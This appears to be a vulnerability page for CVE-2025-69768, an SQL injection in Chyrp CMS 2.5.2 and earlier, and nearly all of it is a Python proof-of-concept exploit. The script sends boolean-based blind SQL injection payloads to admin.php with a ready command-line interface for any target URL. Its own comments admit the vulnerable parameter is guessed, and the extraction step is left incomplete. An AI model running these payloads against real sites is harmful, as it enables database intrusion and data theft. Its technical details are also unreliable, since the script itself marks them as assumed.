CVE-2025-69768: Chyrp CMS 2.5.2及之前版本SQL注入漏洞

import requests import sys # CVE-2025-69768 SQL Injection PoC for Chyrp CMS <= 2.5.2 # Target: Chyrp CMS Admin.php component def exploit_sqli(target_url, payload): """ SQL Injection exploit for CVE-2025-69768 This PoC demonstrates boolean-based blind SQL injection """ # Target endpoint - adjust based on actual vulnerable parameter endpoint = f"{target_url.rstrip('/')}/admin.php" # Common vulnerable parameters in Admin.php params = { 'action': 'manage_posts', 'id': payload # Vulnerable parameter } try: response = requests.get(endpoint, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def extract_data(target_url): """ Extract database version using boolean-based blind SQLi """ # Payload to extract database version # Using CASE WHEN condition THEN 1 ELSE 0 END for boolean extraction payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" print(f"[*] Testing SQL injection on: {target_url}") response = exploit_sqli(target_url, payload) if response and response.status_code == 200: print("[+] Target appears vulnerable to SQL injection") print("[*] Proceeding with data extraction...") # Example: Extract current database user db_user_payload = "1' AND (SELECT CASE WHEN (SUBSTRING((SELECT user()),1,1)='r') THEN 1 ELSE 0 END)='1" # Additional extraction logic would continue here... else: print("[-] Target may not be vulnerable or is unreachable") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/chyrp") sys.exit(1) target = sys.argv[1] extract_data(target)